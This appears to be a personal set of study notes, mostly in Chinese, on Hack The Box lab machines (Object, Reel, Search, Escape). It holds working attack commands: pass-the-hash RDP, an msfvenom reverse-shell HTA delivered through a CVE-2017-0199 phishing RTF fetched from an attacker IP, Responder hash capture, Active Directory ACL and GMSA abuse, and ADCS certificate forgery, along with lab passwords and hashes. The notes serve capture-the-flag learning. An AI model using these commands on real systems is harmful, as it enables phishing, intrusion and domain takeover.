(proxychains) xfreerdp /u:dfm /d:testlab.local /v:<computer ip>

xfreerdp will prompt you for a password, and then initiate the remote desktop connection.

Password Hash without Interactive Access This method will require some method of proxying traffic into the network, such as the socks command in cobaltstrike, or direct internet connection to the target network, as well as the xfreerdp (suggested because of support of Network Level Authentication (NLA)) tool, which can be installed from the freerdp-x11 package. Additionally, the target computer must allow Restricted Admin Mode. If using socks, ensure that proxychains is configured properly. Initiate the remote desktop connection with the following command:

(proxychains) xfreerdp /pth:<ntlm hash> /u:dfm /d:testlab.local /v:<computer ip> This will initiate the remote desktop connection, and will fail if Restricted Admin Mode is not enabled.

利用 MS14-068 制作具有域管理员权限的 Keberos 票证

object

Passwords - SkullSecurity 字典

Jenkins privilege escalation

Lab of a Penetration Tester: Script Execution and Privilege Escalation on Jenkins Server

Lab of a Penetration Tester: Hacking Jenkins Servers With No Password - Powershell fun

How to implement a remote Jenkins build trigger with a URL 如何创建

1165d29f238a8384e97f81cae167805e2f

curl "http://0xdf:1165d29f238a8384e97f81cae167805e2f@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"

JENKINS_URL/job/aaa/build?token=TOKEN_NAME

这个好网站

Abusing Active Directory ACLs/ACEs | HackTricks | HackTricks

Jenkins渗透(看笔记)

HTB: Object | 0xdf hacks stuff

evil-winrm -i 10.129.96.147 -u oliver -p c1cdfun_d2434

GitHub - hoto/jenkins-credentials-decryptor: Command line tool for dumping Jenkins credentials. 解码

提权看笔记

reel

set nu显示行号vim中

10.129.8.71

ftp匿名登入

查看readme.txt

image-20231227185300677

我们可以看到有人正在等待一封带有 RTF 格式文档附件的电子邮件。这让我们想到,如果我们能够获取电子邮件地址,则可能会向收件人发送网络钓鱼电子邮件。

*nico@megabank.com*

smtp使用

telnet登入 telnet 10.129.8.71 25

  • HELO/EHLO:这些命令发出 “Hello” 并在客户端和服务器之间启动 SMTP 连接。“HELO” 是该命令的基本版本;“EHLO” 用于一种特别类型的 SMTP。

  • MAIL FROM:这个命令告诉服务器谁在发送该电子邮件。如果 Alice 试图给她的朋友 Bob 发电子邮件,客户端可能会发送 “MAIL FROM:alice@example.com”。

  • RCPT TO:这个命令用于列出电子邮件的收件人。如果有多个收件人,客户端可多次发送该命令。如上例子中,Alice 的电子邮件客户端将发送: “RCPT TO: bob@example.com"。

  • DATA:这个命令放在电子邮件的内容前,例如:

DATA
Date: Mon, 4 April 2022
From: Alice alice@example.com
Subject: Eggs benedict casserole
To: Bob bob@example.com

Hi Bob,
I will bring the eggs benedict casserole recipe on Friday.
-Alice
.
  • RSET:该命令重置连接,删除所有以前传输的信息,但不关闭 SMTP 连接。RSET 在客户端发送了错误信息的情况下使用。

  • QUIT:结束连接。

smtp-user-enum -M RCPT -U test-users.txt -t 10.10.10.77

-M RCPT表示使用RCPT(Recipient)模式,该模式主要用于验证电子邮件服务器上的有效用户。

RTF文件(Rich Text Format):

  • 定义: RTF是一种文本文件格式,旨在存储文本文档的格式化信息,例如字体、颜色和样式,而无需包含实际的二进制图像或多媒体数据。

  • 用途: RTF文件通常用于在不同的文本编辑器和文档处理应用程序之间共享文本文档,因为RTF格式允许在不同应用程序之间保留文本文档的格式和外观。

  • 注意事项: 尽管RTF文件主要用于文本文档,但要小心处理未知来源的RTF文件,因为它们可能包含恶意代码或链接。

HTA文件(HTML Application):

  • 定义: HTA是一种由HTML和脚本组成的文件格式,它允许在本地系统上执行包含JavaScript、VBScript等脚本的HTML代码。HTA文件通常拥有本地系统的权限,并可以执行强大的系统操作。

  • 用途: HTA文件常用于创建桌面应用程序或执行一些系统管理任务。由于其能够本地执行脚本并访问系统资源的特性,HTA文件可能被滥用用于恶意目的,如在渗透测试中。

  • 注意事项: 由于HTA文件具有执行本地脚本的能力,打开未知来源的HTA文件可能存在风险,因为它们可能包含恶意脚本。

image-20231227164130444

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.11 LPORT=443 -f hta-psh -o msfv.hta

生成hta文件木马

python CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.3/msfv.hta -t rtf -x 0

  • -M gen:指定模式为“gen”,表示要生成恶意文档。

  • -w invoice.rtf:将输出文件名指定为“invoice.rtf”。

  • -u http://10.10.14.3/msfv.hta:指定负载的 URL,该负载是托管在“ http://10.10.14.3/msfv.hta ”的 HTA 文件。

  • -t rtf:指定要生成的文档类型为 RTF。

  • -x 0:指定要在文档中使用的图标。在本例中,它设置为 0。

    准备好文档后,我将启动一个 python http.server 来提供 hta 文件,启动一个 nc 侦听器来捕获我的 shell,然后发送网络钓鱼。我将使用sendemail以下选项:

sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v

您提供的命令似乎是尝试使用sendEmail命令行工具发送电子邮件。以下是您使用的选项的详细说明:

  • -f 0xdf@megabank.com:指定“发件人”电子邮件地址。

  • -t nico@megabank.com:指定“收件人”电子邮件地址。

  • -u "Invoice Attached":指定电子邮件主题。

  • -m "You are overdue payment":指定电子邮件消息。

  • -a invoice.rtf:将名为“invoice.rtf”的文件附加到电子邮件中。

  • -s 10.10.10.77:指定 SMTP 服务器的 IP 地址(假设10.10.10.77在本例中)。

  • -v:启用详细模式,为调试提供更详细的输出。

nc -lvnp 443

这是Powershell 凭据(SecureString、PSCredentials)

https://systemweakness.com/powershell-credentials-for-pentesters-securestring-pscredentials-787263abf9d8

在nico的桌面上,有一个文件cred.xml: 里面说 PSCredential ,还有一些密码和账号

PowerShell 有一个名为 PSCredential 的对象,它提供了一种存储用户名、密码和凭据的方法。还有两个函数Import-CliXmlExport-CliXml,用于将这些凭据保存到文件中以及从文件中恢复它们。该文件是 的输出Export-CliXml

我可以通过使用 加载文件Import-CliXml,然后转储结果来从文件中获取明文密码:

C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
powershell -c:这部分命令正在启动 PowerShell 解释器的新实例,并指定应执行以下命令。

$cred = Import-CliXml -Path cred.xml:

Import-CliXml:此 cmdlet 用于从 CliXml 文件(cred.xml在本例中)导入数据。
-Path cred.xml:指定包含要导入的序列化对象(如凭据)的 CliXml 文件的路径。
$cred:将导入的数据分配给变量$cred。
$cred.GetNetworkCredential() | Format-List *:

$cred.GetNetworkCredential():这会调用GetNetworkCredential()对象的方法$cred。该GetNetworkCredential()方法用于检索NetworkCredential与存储的凭证关联的对象。UserName该对象包含、Password、Domain等属性。
|:这是管道运算符,它获取左侧的输出并将其作为输入传递到右侧。
Format-List *:此 cmdlet 将输出格式化为列表(*表示所有属性)并显示它。这是一种可视化对象属性的方法NetworkCredential

ssh tom@10.10.10.77

Tom 的桌面上有一个名为“AD Audit”的目录。其中,有一个note.txt

发现:

令人惊讶的是,没有从用户到域管理员的 AD 攻击路径(使用默认的最短路径查询)。

也许我们应该对我们创建的其他组重新运行 Cypher 查询。

更深一些的目录,有更多的文件:

C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir

    Directory: C:\users\tom\desktop\AD Audit\BloodHound\Ingestors

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        11/16/2017  11:50 PM     112225 acls.csv
-a---        10/28/2017   9:50 PM       3549 BloodHound.bin
-a---        10/24/2017   4:27 PM     246489 BloodHound_Old.ps1
-a---        10/24/2017   4:27 PM     568832 SharpHound.exe
-a---        10/24/2017   4:27 PM     636959 SharpHound.ps1

acls.cvs看起来特别有趣。把它拉回来。C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir

Before breaking out Bloodhound, it’s useful to understand the kind of data that we’re working with. Here’s an example row:

ObjectNameObjectTypeObjectGuidPrincipalNamePrincipalTypeActiveDirectoryRightsACETypeAccessControlTypeIsInherited
herman@HTB.LOCALUSERnico@HTB.LOCALUSERWriteOwnerAccessAllowedFalse

Scanning for Active Directory Privileges & Privileged Accounts – Active Directory Security 有时间可以看看,里面是对权限的解释等

LibreOffice Calc(又称Calc) 是LibreOffice生产力软件的项目之一。是与Microsoft Excel功能相当的电子表格软件,并可以开启或存储为Microsoft Excel的文件格式,也可存为.pdf格式

CSV 代表“逗号分隔值”。它是一种简单且广泛使用的文件格式,用于以纯文本形式存储表格数据(数字和文本),其中文件的每一行代表一行数据,每行内的值用逗号(或其他分隔符)分隔。

这一行表示对于 USER 对象 herman,nico 具有 WriteOwner 权限。adsecurity.org 上的这篇博客文章详细介绍了这些权利如何运作以及如何利用它们,但这使 nico 对 Herman 有很大的控制权。

我将把 csv 加载到 LibreOffice Calc 中,将数据设置到带有过滤器的表格中,然后冻结标题行。然后,要查看 Tom 拥有哪些对象的权限,我将对 Tom 进行过滤:

汤姆过滤器

所以 Tom 对 claire 拥有 WriteOwner 权限:

1541468889702

如果我对 claire 执行相同的过滤器,我将看到 claire 对 Backup_Admins 组对象具有 WriteDacl 权限:

1541468962624

由于 Backup_Admins 听起来很有潜力,所以这将是我的计划。

利用bloodhound

WriteOwner权限是 Windows 安全和访问控制上下文中的特定权限。此权限允许用户或组修改对象的所有者。换句话说,它授予更改被视为特定资源所有者的安全主体的能力。以下是与权限相关的关键概念的简要说明WriteOwner

  • 所有者: Windows 中的每个安全对象(例如文件、文件夹、注册表项等)都有一个关联的所有者。所有者通常是安全主体(用户或组),被认为是对象的主要权限。所有者拥有与该对象相关的某些权利和责任。

  • WriteOwner 权限:WriteOwner权限允许用户或组更改对象的所有者。这意味着他们可以将所有权转移给另一个安全主体。

要移至 claire 帐户,我将使用 WriteOwner 权限以及 PowerView 的功能来执行以下步骤:

  • Become owner of claire’s ACL

  • Get permissions on that ACL

  • Use those permissions to change the password

  • ACL 代表“访问控制列表”。ACL 是与对象关联的权限或规则列表,指定哪些用户或系统进程被授予访问该对象的权限以及允许他们执行哪些操作。

    在操作系统、文件系统和网络资源的上下文中,ACL 用于控制对各种资源(例如文件、目录和网络共享)的访问。ACL 定义谁可以访问资源、他们可以执行哪些操作(例如读、写、执行)以及在什么条件下执行。

    需要PowerView 和 PowerShell(powershell直接输入命令powershell就可以)

接下来,我将把 Tom 设置为 claire 的 ACL 的所有者:

Set-DomainObjectOwner -identity claire -OwnerIdentity tom

接下来,我将授予 Tom 更改该 ACL 上的密码的权限:

Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword

现在,我将创建一个凭据,然后设置克莱尔的密码:

$cred = ConvertTo-SecureString "qwer1234QWER!@#$" -AsPlainText -force

Set-DomainUserPassword -identity claire -accountpassword $cred

利用该密码

ssh claire@10.10.10.77

通过之前的分析,我知道claire对Backup_Admins组有WriteDacl权限。我可以用它来将她添加到群组中。首先,查看该组的唯一成员是 ranj:

net group backup_admins

现在添加克莱尔:

net group backup_admins claire /add

net group backup_admins 可以看到有他了

尽管事实上它显示克莱尔现在在群组中,但我必须注销并重新登录才能使其生效

以 claire 身份返回 Backup_Admins,我可以检查Administrator 文件夹的权限但是看不了root,txt,来到以下目录

claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir

查看脚本,在最顶部BackupScript.ps1,有这样的内容:

# admin password
$password="Cr4ckMeIfYouC4n!"

使用管理员密码,我可以以管理员身份 ssh 登录,并获取标志:

ssh administrator@10.10.10.77

python cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.16.11/msfv.hta -t rtf -x 0

Search

how to open xlsx file in kali linux-掘金

如何将 JSON 文件转换为 Microsoft Excel|微软|编辑器|json|文件名_网易订阅

如何将 JSON 文件转换为 Microsoft Excel

GitHub - 0xZDH/BridgeKeeper: Scrape, Hunt, and Transform names and usernames 将已生成的名称列表转换为用户名:

image-20240103140022272

它显示“将密码发送给 Hope Sharp”,下一行显示IsolationIsKey?。这可能是用户名,也可能是密码。

X-Powered-By头显示ASP.NET,这意味着我应该期待.aspx文件。

/certsrv/certenroll表明该服务器是证书颁发机构的一部分。

访问/certsrv请求身份验证,/certenroll只返回403。

根据上面的用户创建Hope Sharp的可能用户列表

hope hope.sharp hopesharp .................

web_svc @3ONEmillionbaby

下面尝试一下看有没有密码复用

下面这一句话可以将json中的user提取出来

https://www.youtube.com/watch?v=cChCGrBNqFg&t=23s 这个视频打完后食用

cat domain_users.json | jq -r '.[].attributes.sAMAccountName[]' > ../users.txt

crackmapexec smb 10.10.11.129 -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'

Edgar.Jacobs

smb登入

smb: \edgar.jacobs> get Desktop\Phishing_Attempt.xlsx

libreoffice Phishing_Attempt.xlsx 打开查看文件(这个是表2)

image-20240103152715441

C 列被隐藏,尝试取消隐藏它会弹出:(双击黑线)

Unprotect Excel Sheet [Remove Excel Password in 5 Mins] Unprotect Excel Sheet Online 如何取消execl的密码保护

先新建一个文件夹,把xlsx文件放进去

现代 Office 文档只是内部包含 XML 文件的 Zip 存档。我将解压缩该文件:

oxdf@hacky$ unzip Phishing_Attempt.xlsx
Archive:  Phishing_Attempt.xlsx
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/worksheets/sheet2.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/sharedStrings.xml
  inflating: xl/drawings/drawing1.xml
  inflating: xl/charts/chart1.xml
  inflating: xl/charts/style1.xml
  inflating: xl/charts/colors1.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/worksheets/_rels/sheet2.xml.rels
  inflating: xl/drawings/_rels/drawing1.xml.rels
  inflating: xl/charts/_rels/chart1.xml.rels
  inflating: xl/printerSettings/printerSettings1.bin
  inflating: xl/printerSettings/printerSettings2.bin
  inflating: xl/calcChain.xml
  inflating: docProps/core.xml
  inflating: docProps/app.xml 

每个工作表都有一个 .xml 格式的 XML 文件xl/worksheets/。数据本身不受保护。只有一个密码可以防止修改(例如查看数据)。数据本身未加密。网上有很多像这样的教程,解释如何删除这种保护。

有关保护的信息位于xl/worksheets/sheet2.xml

image-20240103161801771

具体来说就是这个标签:

<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" sce

接下来就是要将这段删除掉

cp Phishing_Attempt.xlsx Phishing_Attempt-mod.zip

然后直接打开

image-20240103162233901

然后利用vim打开,删除上面的那段保护代码,然后保存后提示存档管理器发出警告:我将单击“update”,现在更改已在存档中进行。现在我可以将扩展名更改回.xlsx,并在 Libre Office 中打开它。工作表名称的锁消失了,里面是密码集合

crackmapexec可以检查这些密码。我真的不想尝试每个用户的每个密码,而只想尝试每个用户的关联密码。这条推文表明,这个不直观的命名--no-bruteforce选项将做到这一点:

crackmapexec smb 10.10.11.129 -u xlsx_users.txt -p xlsx_passwords.txt --no-bruteforce --continue-on-success

Sierra.Frye 与$$49=wide=STRAIGHT=jordan=28$$18.

回到 Bloodhound,我会将 Sierra.Fry 标记为已拥有。现在,“从拥有的原则到域管理员的最短路径”带来了一些不错的结果:

图片-20211117122421371

通过加入伯明翰-ITSEC(即 ITSEC),Sierra.Frye 拥有ReadGMSAPassword超过 BIR-ADFS-GMSA 的能力。该帐户拥有GenericAll域管理员 Tristan.Davies 的权限。

组托管服务帐户 (GMSA) 是 Windows 服务器通过为帐户生成长随机密码来管理帐户密码的地方。本文介绍如何创建 GMSA,以及如何管理该密码的 ACL。它还演示了如何使用 PowerShell 转储服务帐户的 GMSA 密码。我将遵循相同的步骤:

PS C:\Users\Sierra.Frye\Documents> $gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
PS C:\Users\Sierra.Frye\Documents> $mp = $gmsa.'msDS-ManagedPassword'
PS C:\Users\Sierra.Frye\Documents> ConvertFrom-ADManagedPasswordBlob $mp
 
 
Version                   : 1
CurrentPassword           : ꪌ絸禔හॐ๠뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤
                            ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱茾蒚⟒澽座걍盡篇
SecureCurrentPassword     : System.Security.SecureString
PreviousPassword          : 
SecurePreviousPassword    : 
QueryPasswordInterval     : 3062.06:26:26.3847903
UnchangedPasswordInterval : 3062.06:21:26.3847903
  1. $gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword':

    • 通过Get-ADServiceAccount cmdlet获取名为'BIR-ADFS-GMSA'的托管服务帐户的信息。

    • 使用-Properties 'msDS-ManagedPassword'参数来获取额外的属性,其中包括msDS-ManagedPassword,这是管理密码的属性。

  2. $mp = $gmsa.'msDS-ManagedPassword':

    • 将管理密码属性的值存储在变量$mp中。这是一个二进制数据,通常以字节数组的形式存储。

  3. ConvertFrom-ADManagedPasswordBlob $mp:

    • 使用ConvertFrom-ADManagedPasswordBlob cmdlet将$mp中的二进制数据转换为可读的格式。

    • 这个过程涉及将二进制数据转换为ManagedPasswordBlob对象,以便更容易查看和理解管理密码的信息。

CurrentPassword字段看起来像是乱码,但这就是 GMSA 的意义所在。尽管如此,我还是可以使用它。我将其保存在一个变量中:

PS C:\Users\Sierra.Frye\Documents> (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
ꪌ絸禔හॐ๠뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱
茾蒚⟒澽座걍盡篇
PS C:\Users\Sierra.Frye\Documents> $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
PS C:\Users\Sierra.Frye\Documents> $SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
  1. (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword:

    • 使用ConvertFrom-ADManagedPasswordBlob cmdlet,将$mp中的二进制数据转换为可读格式。

    • 通过.CurrentPassword属性,提取管理密码的当前密码值。

  2. $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword:

    • 将管理密码的当前密码值存储在变量$password中,以便后续的处理。

  3. $SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword:

    • 同样使用ConvertFrom-ADManagedPasswordBlob cmdlet,通过.SecureCurrentPassword属性,提取管理密码的当前密码值的安全字符串(SecureString)。

    • 这个操作可能是为了以更安全的方式处理密码,SecureString 是一种加密的字符串类型,通常用于存储敏感信息。

I’ll use Invoke-Command to run as BIR-ADFS-GSMA$ using a PSCredential object created using that accounts password from above:

创建新密码

PS C:\Users\Sierra.Frye\Documents> $cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPass

PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText '0xdf0xdf!!!' -force)} -Credential $cred

Invoke-Command 允许在远程计算机上执行命令,而不仅仅是在本地计算机上执行。
在你的示例中,通过指定 -ComputerName 127.0.0.1,你将命令发送到了本地计算机。
脚本块执行:

使用 -ScriptBlock 参数,你可以指定在远程计算机上执行的脚本块。在你的示例中,脚本块包含了设置 Active Directory 帐户密码的命令。
凭据传递:

通过 -Credential $cred 参数,你可以指定在远程计算机上执行脚本块时使用的凭据。
这对于确保在远程计算机上以正确的身份执行命令非常重要。

事实上它写着“Pwn3d!” 旁边意味着该用户是管理员,这意味着 PSexec 之类的东西将获得 shell。

wmiexec.py 'search/tristan.davies:0xdf0xdf!!!@10.10.11.129'

Set-ADAccountPassword

  • 属于 ActiveDirectory 模块。

  • 用于设置Active Directory中用户、计算机或服务帐户的密码。

  • 可以在单个命令中为帐户设置密码,也支持密码重置等操作。

Set-DomainUserPassword

  • 属于 MSOnline 模块,该模块通常与 Azure Active Directory 相关。

  • 用于设置 Azure Active Directory 中用户的密码。

  • 主要用于管理 Azure AD 帐户,而不是传统的本地 Active Directory。

法2

ITSEC该用户是拥有ReadGMSAPassword帐户权限的组的成员BIR-ADFS-GMSA,GMSA 表示组管理服务帐户,在活动目录中,更改服务帐户密码很麻烦,因此该 gmsa 帐户负责服务帐户密码,并且它的哈希值并不容易破解是随机生成的

所以我们可以读取这个帐户的哈希值,然后使用它来登录,以便读取我gMSADumper.py从 github使用的内容

img

img

image-20240103201202019

这已经存在genericall于该帐户上,并且Tristan.Davies该帐户是该帐户的成员,因此我们在获得该用户后几乎可以危害域控制器,因此这很容易被滥用,因为 AD 中的所有内容都是对象,并且该用户被视为对象。我们可以设置这个对象的权限,甚至可以在不知情的情况下更改他的密码Enterprise Admin``Administrator``Domain Admin

1.

Winrm在这台机器上被完全禁用,并且在近50个用户root这台机器后被禁用,winrm不应该在这台机器上运行(至少他们在discord中告诉的),因此具有获取远程会话的功能我们可以简单地以拥有该帐户的帐户身份登录genericall,这意味着我们可以使用该用户帐户执行任何操作,因此只需更改密码即可net user username password

img

现在我们可以使用 impacketsecretsdump.py转储所有密码哈希值

img

img

2.

由于 winrm 被禁用,并且没有任何方法可以获取 shell 并通过net user另一种方式更改密码,因为rpcclient允许传递哈希,我们可以使用BIR-ADFS-GMSA他的密码哈希登录并使用此命令更改密码

setuserinfo2 Tristan.Davies 23 'arzismol'

img

现在只需使用 impacket 的 Secretsdump.py 转储哈希值

img

但是 winrm 被禁用了,所以问题是我们如何获得 shell?我们可以使用crackmapexec检查是否获得“pwned”状态

img

我尝试过smbexec,但psexec都失败了,但wmiexec成功了

img

Escape

user PublicUser and password GuestUserCantWrite1 .

3269/tcp open ssl/ldap

Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sequel.htb

我将更深入地了解正在使用的 TLS 证书,使用openssl拉取和格式化它:

我将更深入地了解正在使用的 TLS 证书,使用openssl拉取和格式化它:

oxdf@hacky$ openssl s_client -showcerts -connect 10.10.11.202:3269  | openssl x509 -noout -text
...[snip]...                                                
Certificate:                                                     
    Data:                                                        
        Version: 3 (0x2)                                         
        Serial Number:   
            1e:00:00:00:04:90:52:7b:fc:91:38:74:2f:00:00:00:00:00:04 
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: DC = htb, DC = sequel, CN = sequel-DC-CA
        Validity                                  
            Not Before: Nov 18 21:20:35 2022 GMT
            Not After : Nov 18 21:20:35 2023 GMT
        Subject: CN = dc.sequel.htb   
        Subject Public Key Info:                   
            Public Key Algorithm: rsaEncryption
...[snip]...

有趣的是,请注意颁发证书的证书颁发机构,续集-DC-CA。

登入mssql后没发现什么有用的信息

该服务器上有四个数据库:

SQL (PublicUser  guest@master)> select name from master..sysdatabases;
name     
------   
master   
tempdb   
model    
msdb  

这些是MSSQL 上的四个默认数据库

responder

sudo python3 Responder.py -I tun0

LLMNR、NBNS和MDNS协议主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。

例如当域内win10主机在ping 一个不存在的主机名时,会按照下列流程尝试解析(win10和win7有不同表现):

1.查看本地hosts文件

2.查找DNS缓存,windows可使用命令 ipconfig/displaydns 查看

3.DNS服务器

4.尝试LLMNR、NBNS和MDNS协议进行解析

根据上述知识,我们知道了responder如何欺骗受害主机,那么为什么受害主机会发送NTLM v2 Hash呢?这就涉及到NTLM认证的知识了,早期SMB协议在网络上传输明文口令,后来微软进行了改进推出了NTLMv1会话协议,由于NTLMv1也很脆弱,所以后来就有了NTLM v2以及Kerberos验证体系,目前winserver 2008及以后的windows版本默认均是使用NetNTLMv2的,默认使用NTLMv1的有2003、XP这些机器。

windows基于NTLM认证的有SMB、HTTP、LDAP、MSSQL等,responder可以通过模拟正常的SMB协议从而获得受害机器的NTLMV2 hash值,NTLM v2**不能直接应用于Pass The Hash攻击,只能通过暴力破解来获取明文密码。而攻击者获取NTLMv1 hash后,可以直接还原出NTLM HASH,这样的话就可以将NTLM HASH直接用于Pass The Hash攻击**,相较于NTLM v2还需要破解才能利用更加不安全。

利用mssql读取主机上共享上的文件:

EXEC xp_dirtree '\10.10.14.6\share', 1, 1;

  1. '\\10.10.14.6\share':

    • 这是路径参数,指定要检索其列表的目录。

    • 它应该是文件系统上的有效路径,在本例中,它是 IP 地址为“10.10.14.6”且共享名称为“share”的网络共享。

  2. 1:

    • 这是深度参数。

    • 它指定要检索的目录列表的深度级别。在本例中,它设置为“1”,意味着仅返回指定目录中的直接文件和子目录。

  3. 1:

    • 这是标志参数。

    • 它控制输出格式以及有关文件和目录的附加信息。

    • 当设置为“1”时,它包括附加信息,例如文件或目录大小和日期。

总之,xp_dirtree在此上下文中,执行该过程以列出位于“\10.10.14.6\share”的网络共享中的文件和子目录。它检索目录直接级别的信息,输出包括文件或目录大小和日期等详细信息。

responder的监听就会返回hash值

sql_svc::sequel:903888d6cc8311eb:761B09654C1B356477D996132AA281B9:01010000000000A421ABF13EDA01CEEF3E482DEEB823000000000200080032004C004700330001001E00570049004E002D00500043004B004B0057004500510045005400310004003400570049004E002D00500043004B004B0057004500450051004500540031002E0032004C00470033004C004F00430041004C000300140032004C00470033002E004C004F00430041004C000500140032004C00470033002E004C004F0043004C000700080000A421ABF13EDA010600040002000000080030003000000000000000000000000030000067ADCAB21C720CA2FAD053862578BC37126CD711F3E9C534A2C6BC18B4670A001000000000000000000000000000000000000900200063006900660073002F0030002E00310030002E00310036002E00310036000000000000000000

利用hashcat破解

5600 | NetNTLMv2

evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Ryan.Cooper

枚举到C:\SQLServer\Logs> type ERRORLOG.BAK

查看后发现有个logon Ryan.Cooper failed 后面有个密码,尝试一下

evil-winrm -i 10.10.11.202 -u ryan.cooper -p NuclearMosquito3

Windows 域中始终需要枚举的一件事是查找 Active Directory 证书服务 (ADCS)。检查这一点的快速方法是使用crackmapexec(它可以作为 sql_svc 或 Ryan.Cooper):

crackmapexec ldap 10.10.11.202 -u ryan.cooper -p NuclearMosquito3 -M adcs

-M adcs: 这指定了要使用的模块,即 adcs。在这个上下文中,adcs 可能是指与 Active Directory Certificate Services 相关的模块,用于测试与证书服务有关的漏洞或配置。

这边这个尝试没有成功

扩展

ADCS 指的是 Active Directory Certificate Services,它是 Windows 操作系统中的一个角色或服务,用于建立和维护一个 PKI(Public Key Infrastructure,公钥基础设施)环境。PKI 是一种安全框架,通过使用数字证书和公钥加密技术来提供网络通信的机密性和完整性。

Active Directory Certificate Services 提供以下功能:

  1. 证书颁发机构(CA): ADCS 包括一个或多个 CA,负责签发数字证书。这些证书用于验证网络上的实体(如计算机、用户等)。

  2. 注册机构(RA): 可选的注册机构充当 CA 的代理,接收证书请求并将其传递给 CA 进行处理。

  3. 证书撤销列表(CRL): CRL 是一个列表,包含已经被吊销的证书的信息。客户端可以检查 CRL 以验证证书的有效性。

  4. 自动注册: ADCS 支持自动注册,使设备能够向 CA 自动请求证书。

  5. 证书模板: 定义了颁发证书的规则和要求的模板。这些模板允许管理员定义证书的用途、有效期等。

  6. 密钥存储: ADCS 提供安全的密钥存储,用于存储和保护私钥。

ADCS 对于建立安全通信和身份验证非常重要,特别是在企业网络中。通过使用 ADCS,组织能够管理和控制数字证书的创建、分发和管理,从而确保网络通信的安全性。

https://posts.specterops.io/certified-pre-owned-d95910965cd2这个是adcs的扩展

Ghostpack-CompiledBinaries/dotnet v4.5 compiled binaries/Certify.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub 里面有它的使用情景

upload Certify.exe

.\Certify.exe find /vulnerable /currentuser

会列出一个易受攻击的证书模板

image-20240105160255074

  1. 模板名称:我们这里有“UserAuthentication”模板,可用于通过 Kerberos 或 LDAP 对用户进行身份验证。

  2. 注册权限:提到该域的域用户可以注册证书。由于我们的用户 Ryan 是域用户的一部分,因此我们可以使用他的帐户。

  3. msPKI-Certificate-Name-Flag:它提到“ENROLLEE SUPPLIES SUBJECT”,这意味着我们可以向证书模板提供主题。在这种情况下,我们将添加主题“altname”,它指的是替代名称[我们将使用管理员作为替代名称,然后代表管理员获取证书,稍后我们将使用该证书以管理员身份进行身份验证。]

Certify.exe我可以通过接下来运行以请求具有管理员备用名称的证书来继续自述文件场景 3 。它返回一个cert.pem

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator

ca:CA Name template:Template Name

image-20240105161018561

